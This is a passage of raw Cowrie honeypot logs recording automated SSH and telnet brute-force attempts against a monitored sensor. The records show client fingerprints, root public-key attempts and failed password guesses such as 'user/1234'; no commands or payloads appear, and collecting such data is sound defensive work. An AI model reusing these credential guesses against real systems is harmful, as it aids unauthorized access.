AAAAB3NzaC1yc2EAAAADAQABAAACAQDPrfcHqjy76cTdsTaCuU3coFLWS0bKJ2KpZz3TBzN06V4/VKefkOQkWOehseE1UzikiWg9ROP1PXfDiFE/klPkAO++KJXCnHZmm5TvayOv1sKrcGAIO8tVqvdIyj5r8M+ThrUIcOLJfMjJKBWe2FKeMq+bICIHfKmyOhtySucO6QBSNUxEUaEaTUYiOs+p1LrmMW5/KvSXG4qPM/+aNm0tOICCgfsGves65L6z/kbxHjZSgJex+EoWvjmk0DJio18qt9jcLIIAbjfUlBBrWVkLo3sGpKGU9y0JUKGLFpl2nuF+dNeBPL0Fmai2Fh46hbJSr7NSol70qaBKaOhxcyfAYrwBvo9XFcN8vuIp6wt3XvyJK11sgiocEEoe/TAgdsUt/9CrLuHKZPmxvTfev83sBM3xGIbs4I4xkvaE+b41+cGZErf21iFxMaKi0Ma+xYRjUgGn+GSsGvtiAvwQoYeSwfTnqWj9mPr4sGdEorU4etNJfTTpMqqz+7UxeeOIdTi7rL3Bx1zrbEDyLV7ZDOsaSYGA4ZrdmApH3swpqvn9DKrrWSNxZCNxsBcDVghUcjUlpwJd4NGaIch887MVLzDmEgh2+miP2AwAKChJZjdi6LY1n7tQTylmDCCPWPOwwaOkM3Zx2stSlNIXhkAWKJ4FHfoclqtOHBY6SsCR8AiQNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.236899Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:41:43:d9:92:cc:6d:9b:6e:e4:29:53:c9:41:c8:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDM1GY7siVpKSTHuCU3MtnBhCC2dG1LzFs/QPLooxKLch7gpm+FC9PB7N71xdB8DFjY+XIjAm1WBkRavhKX6IzfzGM8BTQMjMHQomRjpXY7yMS3dhuVgYTf7A6agIQEZsl2mb2S0MFBmSot0tMG7mV0usYiImJnnLSSFFsZNgAJBD8QEK6vOBS0I7tHukVvozD/Tvn5TMh5/ps/UFBrSDsfgnJBIH1zEuQVOlAyk9dOJ7gGNqbjaRD1Bb80twNJ/aLOfMMwc9iJ8t0HLbV0qhOjhotESncNmpZWp9OE0dcQcExHDP0KqN9vNtk7kWhZVUW8+RZ8392y/mR01R9V8NBgljDJnPcpMrmKeOyNLA/nsNPmYgCQNrpqRo/BH7eNsW+HlZzoGAfnJLRN7RYTIjkZBO8CL9lm18/eBWepy+b5UwMEZKSxoaN+RA48g4be3fYAiCdi0N4zpl8aZKZzmOOh6TdI/PfzGtuQfZQvTm60iIZueZ+CzsfevA7NBYtU/1YntEaMpJufTjFuwA4rkiaFjvaX/3JWSMi9AZ8gwR6+T+GW9YkBlickUBBaBxVEz0MoFJviBovrlnelZpZ6nnvtjx5khvYzQEqMu7ozaA+aCkJ0Xmg6NefbuZlE1sH4KleGydTmybXNhNMHdj/RKuaVsKNdEolmt+JKHLiTuBxxeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:41:43:d9:92:cc:6d:9b:6e:e4:29:53:c9:41:c8:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.257935Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:41:43:d9:92:cc:6d:9b:6e:e4:29:53:c9:41:c8:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDM1GY7siVpKSTHuCU3MtnBhCC2dG1LzFs/QPLooxKLch7gpm+FC9PB7N71xdB8DFjY+XIjAm1WBkRavhKX6IzfzGM8BTQMjMHQomRjpXY7yMS3dhuVgYTf7A6agIQEZsl2mb2S0MFBmSot0tMG7mV0usYiImJnnLSSFFsZNgAJBD8QEK6vOBS0I7tHukVvozD/Tvn5TMh5/ps/UFBrSDsfgnJBIH1zEuQVOlAyk9dOJ7gGNqbjaRD1Bb80twNJ/aLOfMMwc9iJ8t0HLbV0qhOjhotESncNmpZWp9OE0dcQcExHDP0KqN9vNtk7kWhZVUW8+RZ8392y/mR01R9V8NBgljDJnPcpMrmKeOyNLA/nsNPmYgCQNrpqRo/BH7eNsW+HlZzoGAfnJLRN7RYTIjkZBO8CL9lm18/eBWepy+b5UwMEZKSxoaN+RA48g4be3fYAiCdi0N4zpl8aZKZzmOOh6TdI/PfzGtuQfZQvTm60iIZueZ+CzsfevA7NBYtU/1YntEaMpJufTjFuwA4rkiaFjvaX/3JWSMi9AZ8gwR6+T+GW9YkBlickUBBaBxVEz0MoFJviBovrlnelZpZ6nnvtjx5khvYzQEqMu7ozaA+aCkJ0Xmg6NefbuZlE1sH4KleGydTmybXNhNMHdj/RKuaVsKNdEolmt+JKHLiTuBxxeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.261677Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:31:b6:3e:6d:51:08:94:50:04:19:1f:56:b4:64:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC55Mjr7VQzti4tUthT9D3n1mST2TXhXYIymqhl8G1W0XJC3YobTp6MTZ6c0bJa+fTzbYsVP9wpH96Wv/nyfcG92xMb5ukSh8ja0Rfvw0VMIYvbv6NBWD2TIiFw75kZxxEbO/WYSs/qB6GBoUbGRKRr8J5z/Tpj/68/F1TgXhHfkWJY3QWu5/uz0rlJUIoUwpSo/MOk73Smbcp2I4BRgLgLBPCHIO03mEMhFpP2K64rNilfvA/+apVOe9YquG6N7YEZXH/0sGCKGRbVdYUdUXyGF38LmdegfMW1D6Gqjr22pBZP8943HyxWINJ0rau1SIDq6JHjtELsD4PuKXjc17GxMfputOaP/FcFnQSBAxu/r3IPV6hCXDJTITGM5hZmS3l7QV46Ar7ooWhagDFaKCMv/8drSDK8MiiTEZjxuCnfm5t5CMLCdJ7JxQa6Hwy30drcwUnbYoxH7hss15NNb9IzLvI+1Lfcs5f4S26Ion/U5I6saCODWQqo1Ob7Hk0MjY1JfQenIk1VicB75ldHrYZV/rJLqPZipj1n+12zQYhgpRCdjq4IkhwVOWVnbzPzwqO2UvDSCpS1eDPSCWFnBFRrGfm0h85IrIkySYZGa0u+DdR+NbWRXxfxEbO4YYBTmZApdV+DkvOKVzgUmr1efhX+8q9aO/UC8A6d1tK8kGJwmw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:31:b6:3e:6d:51:08:94:50:04:19:1f:56:b4:64:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.283688Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:31:b6:3e:6d:51:08:94:50:04:19:1f:56:b4:64:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC55Mjr7VQzti4tUthT9D3n1mST2TXhXYIymqhl8G1W0XJC3YobTp6MTZ6c0bJa+fTzbYsVP9wpH96Wv/nyfcG92xMb5ukSh8ja0Rfvw0VMIYvbv6NBWD2TIiFw75kZxxEbO/WYSs/qB6GBoUbGRKRr8J5z/Tpj/68/F1TgXhHfkWJY3QWu5/uz0rlJUIoUwpSo/MOk73Smbcp2I4BRgLgLBPCHIO03mEMhFpP2K64rNilfvA/+apVOe9YquG6N7YEZXH/0sGCKGRbVdYUdUXyGF38LmdegfMW1D6Gqjr22pBZP8943HyxWINJ0rau1SIDq6JHjtELsD4PuKXjc17GxMfputOaP/FcFnQSBAxu/r3IPV6hCXDJTITGM5hZmS3l7QV46Ar7ooWhagDFaKCMv/8drSDK8MiiTEZjxuCnfm5t5CMLCdJ7JxQa6Hwy30drcwUnbYoxH7hss15NNb9IzLvI+1Lfcs5f4S26Ion/U5I6saCODWQqo1Ob7Hk0MjY1JfQenIk1VicB75ldHrYZV/rJLqPZipj1n+12zQYhgpRCdjq4IkhwVOWVnbzPzwqO2UvDSCpS1eDPSCWFnBFRrGfm0h85IrIkySYZGa0u+DdR+NbWRXxfxEbO4YYBTmZApdV+DkvOKVzgUmr1efhX+8q9aO/UC8A6d1tK8kGJwmw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.287908Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.308684Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38312,"dst_ip":"159.203.135.109","dst_port":22,"session":"853d4484cec2","protocol":"ssh","message":"New connection: 193.32.162.145:38312 (159.203.135.109:22) [session: 853d4484cec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:09:39.940228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:09:39.945042Z","src_ip":"193.32.162.145","session":"853d4484cec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:09:40.059875Z","src_ip":"193.32.162.145","session":"853d4484cec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"shredrum","message":"login attempt [ubuntu/shredrum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:09:40.377259Z","src_ip":"193.32.162.145","session":"853d4484cec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:09:41.484936Z","src_ip":"193.32.162.145","session":"853d4484cec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":58026,"dst_ip":"10.17.0.5","dst_port":23,"session":"e947afef3c15","protocol":"telnet","message":"New connection: 180.235.129.180:58026 (10.17.0.5:23) [session: e947afef3c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:09:49.103063Z"}
{"eventid":"cowrie.session.closed","duration":7.7643632888793945,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:09:56.867313Z","src_ip":"180.235.129.180","session":"e947afef3c15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.117","src_port":47510,"dst_ip":"10.17.0.5","dst_port":22,"session":"94df311c52f8","protocol":"ssh","message":"New connection: 176.65.132.117:47510 (10.17.0.5:22) [session: 94df311c52f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:19.630311Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:19.637385Z","src_ip":"176.65.132.117","session":"94df311c52f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.117","src_port":47520,"dst_ip":"10.17.0.5","dst_port":22,"session":"defc1eed0638","protocol":"ssh","message":"New connection: 176.65.132.117:47520 (10.17.0.5:22) [session: defc1eed0638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:19.807335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:19.817367Z","src_ip":"176.65.132.117","session":"defc1eed0638","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:19.900733Z","src_ip":"176.65.132.117","session":"defc1eed0638","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:20.070004Z","src_ip":"176.65.132.117","session":"defc1eed0638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:21.158987Z","src_ip":"176.65.132.117","session":"defc1eed0638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.219.251","src_port":47614,"dst_ip":"10.17.0.5","dst_port":22,"session":"86ab57fa85ef","protocol":"ssh","message":"New connection: 172.110.219.251:47614 (10.17.0.5:22) [session: 86ab57fa85ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:42.401648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:42.406265Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:42.511458Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":37560,"dst_ip":"10.17.0.5","dst_port":22,"session":"290f55afa3b8","protocol":"ssh","message":"New connection: 190.244.39.224:37560 (10.17.0.5:22) [session: 290f55afa3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:42.680756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:42.685275Z","src_ip":"190.244.39.224","session":"290f55afa3b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:42.889035Z","src_ip":"190.244.39.224","session":"290f55afa3b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:6e:e8:4f:11:a6:e2:11:4d:93:67:98:aa:de:c8:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCbMkh7TKBe17kAZ+RVODcjWBEf8ASEXYf9ZUJXRrHi4SEY4Xq35WvxxcKndrHg6vv+56mCvhzZNfPLThhe5Zv9pQW/5NCxzZTCCqZbI/MEkPX1QlQAwcuym/6Frwh+lnArf/O6DjnzKzzUSvhqbddyvByX3PLDayWPClL3Sf51ZJwaDqKUqtywLu4zOdefiGAQaUoClJ6eO8SpOXkgHEdg6JP+ISMtHwQI54LxeSu76VFIsKqjNrdVMTuxA/MOsJDjpIsy+KtbYVN+6oUkbLORaB9uWzvht7kCkjXXlVmQ7xx1BVflmG/peniG8G4noDaqM3LNiGzk0dGuZrMYWWnaHnqmDyMziMmxAkd6WU0MZCgP9FozL8mjYkkgbEbaH3NvNjQZWKK4wP3yHM1G41gTqzxGAJdsZ6oaeNbjfW0tucTYnTvZvAyfUKLHJrArfQxVevzsd66rzacRfZ8dfWJFMv1NhO8fR5kwZoNSI2pRbguSdvxViUnddMe3lhwD/y0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:6e:e8:4f:11:a6:e2:11:4d:93:67:98:aa:de:c8:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.051183Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:6e:e8:4f:11:a6:e2:11:4d:93:67:98:aa:de:c8:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCbMkh7TKBe17kAZ+RVODcjWBEf8ASEXYf9ZUJXRrHi4SEY4Xq35WvxxcKndrHg6vv+56mCvhzZNfPLThhe5Zv9pQW/5NCxzZTCCqZbI/MEkPX1QlQAwcuym/6Frwh+lnArf/O6DjnzKzzUSvhqbddyvByX3PLDayWPClL3Sf51ZJwaDqKUqtywLu4zOdefiGAQaUoClJ6eO8SpOXkgHEdg6JP+ISMtHwQI54LxeSu76VFIsKqjNrdVMTuxA/MOsJDjpIsy+KtbYVN+6oUkbLORaB9uWzvht7kCkjXXlVmQ7xx1BVflmG/peniG8G4noDaqM3LNiGzk0dGuZrMYWWnaHnqmDyMziMmxAkd6WU0MZCgP9FozL8mjYkkgbEbaH3NvNjQZWKK4wP3yHM1G41gTqzxGAJdsZ6oaeNbjfW0tucTYnTvZvAyfUKLHJrArfQxVevzsd66rzacRfZ8dfWJFMv1NhO8fR5kwZoNSI2pRbguSdvxViUnddMe3lhwD/y0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.055366Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:26:e0:e5:bd:f2:60:9b:b3:ed:8a:83:3a:80:fb:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCg7V/OYEI74YOD/hZh9BxsB03tQz7WHjTdZSYT/47hUhzhPDJ4J4/e761Y25ycfMH4f8/YCZ75UlNUG7cFelQ2sNRSuLUtpWEiCtR8sNjeRYnVuH3H0cl/0D20PWWD5SDq4DdqSk5zuZu+nT2pv5XmImx9kwo6iIz03jtykVIiz3JTscmtfJOdsISzd3LK5amJI1EXJcC2Za73CND49L0afZKeSsk23ygfqL1hzYUK8xYuqbUVxMDAWc+OaevSd7zO3+inFxC9iljiTTYnkUvlufRbKTQuplH4QJVlAjbgzX7fvNGMuTZlo9p/7vsKoWJ5E+LRnsFmPYYlxHECmQHlCwvTMFmovY7PdZ1VJuQq+cRabJJaS6lnt9gcCnYHTH4SKt7DIgrZ1dtX2VWeBiiK+dWIfOZ7fv086XMvJP0o02CyWrdS7UpzOdjezpNcC5k0G2fdC2T2rJJnGZ3a28nurhG9UckBblKAHqvIxHoQ/ivGI2uNULquWMkOzCgmJ2m5MiJ0N7LU06VCZP7wdL+YNCMY4LxAHM5h7fk6BiF75kdxlwL0uAUfnT2AXXs8ygFnU4UtCXLGBmqVZEW0eztjK1Iicjnym85nq5G+UDgttLTofkerziprGNQDJ/jDskQ9WG7xvd6mGQoJcJSzXginEET73moT21aM6FebCfxgeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:26:e0:e5:bd:f2:60:9b:b3:ed:8a:83:3a:80:fb:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.160697Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
